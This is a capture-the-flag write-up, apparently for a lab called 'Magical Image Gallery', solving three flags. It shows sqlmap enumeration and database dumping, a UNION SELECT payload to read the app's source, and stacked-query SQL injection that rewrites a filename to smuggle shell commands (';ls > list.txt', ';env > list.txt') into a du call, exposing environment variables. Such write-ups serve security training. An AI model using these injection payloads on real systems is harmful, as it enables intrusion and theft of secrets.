The first two challenges are relatively trivial so I’ll overview their solutions but I want to focus on the last flag which was the most interesting. I solved the flags in the order of Flag 1, Flag 0 and then Flag 2. I’ll write the write-up in that order.
Flag 1
<!doctype html>
<html>
<head>
<title>Magical Image Gallery</title>
</head>
<body><script src="https://35.227.24.107/zapCallBackUrl/-6285714867560319933/inject.js"></script>
<h1>Magical Image Gallery</h1>
<h2>Kittens</h2>
<div><div><img src="fetch?id=1" width="266" height="150"><br>Utterly adorable</div><div><img src="fetch?id=2" width="266" height="150"><br>Purrfect</div><div><img src="fetch?id=3" width="266" height="150"><br>Invisible</div><i>Space used: 0 total</i></div>
</body>
</html>
The fetch?id=1 looks interesting checking the usual suspect SQLi I tried SQLMap
sqlmap http://ip/instance/fetch?id=1
The important result from this
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 5102=5102
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 8131 FROM (SELECT(SLEEP(5)))pDah)
So I know its Mysql time based blind sql injection. I ran the following successive commands to enumerate more.
sqlmap http://ip/instance/fetch?id=1 --dbs
sqlmap http://ip/instance/fetch?id=1 --D level5 --tables
sqlmap http://ip/instance/fetch?id=1 -D level5 --dump
This gave me level5 as the database that was the only non-default database. Then enumerated the tables to get two albums and photos. Then dumped the table to get the flag in the photos table.
Flag 0
1 Consider how you might build this system yourself. What would the query for fetch look like?
2 Take a few minutes to consider the state of the union
3 This application runs on the uwsgi-nginx-flask-docker image
The query probably looks like
"SELECT filename from photos where id =" + id
The hint clearly states UNION to be the payload. So we can probably just call the file we want to see. The last hint reveals it to be flask and uwsgi. Checking on Github you have the main.py to be found.
I tried app/main.py but it was just /main.py.
http://ip/instance/fetch?id=4 UNION SELECT 'main.py' --
I had enumerated the table already 4 doesn’t exist so why did I use it? Union combines two queries but the topmost one has the value executed by the server. Having 4 gives a blank row and thus ‘main.py’ becomes the topmost row. If you did it with id 1,2 or 3 it would never be the topmost row. You need to do it with one that isn’t in the table.
This gave the next flag which was in a comment in the main.py file.
Flag 2
Clues
That method of finding the size of an album seems suspicious
Stacked queries rarely work. But when they do, make absolutely sure that you're committed
Be aware of your environment
First clue made me re-examine the code from main.py.
rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '</i>'
They’re executing a shell command to calculate disk usage. Effectively they are executing the following code.
du -ch files/file1file2file3
which is why the file size at the bottom of the home page says space used is 0 cause file1file2file3 doesn’t exist but it needs to be * or something like that .
Next clue stacked queries mean command1;command2;command3; commands executed separated by ; successively.
We have sqli verified what if we change the file name to execute a different command in the shell. Lets say the filename is as follows.
“file3; ls > list.txt;”
The shell command becomes
du -ch files/file1file2file3; ls > list.txt;
I initially had problems because I forgot to commit the changes to change the filename. Commit in sql is basically save the changes.
http://ip/instance/fetch?id=1; UPDATE photos SET filename=";ls > list.txt" where id=3 ;commit;--
So the filename is “;ls > list.txt” for the third photo. Now we need the du command to work so we refresh the homepage to get main.py to run. Every time you run the filename exploit you need to run main.py to get the command to execute in the shell.
This creates an file with the list of the files in the directory.
We already know how to access a file as in from main.py lets do that with list.txt
http://ip/instance/fetch?id=4 UNION SELECT 'list.txt' --
Dockerfile files list.txt main.py main.pyc prestart.sh requirements.txt uwsgi.ini
So we know this works. Now to find the flag. The last hint mentions environment has to be env
command right?
http://ip/instance/fetch?id=1; UPDATE photos SET filename=";env > list.txt" where id=3 ;commit;--
When you check list.txt
http://ip/instance/fetch?id=4 UNION SELECT 'list.txt' --
you will get all three flags in an environment variable.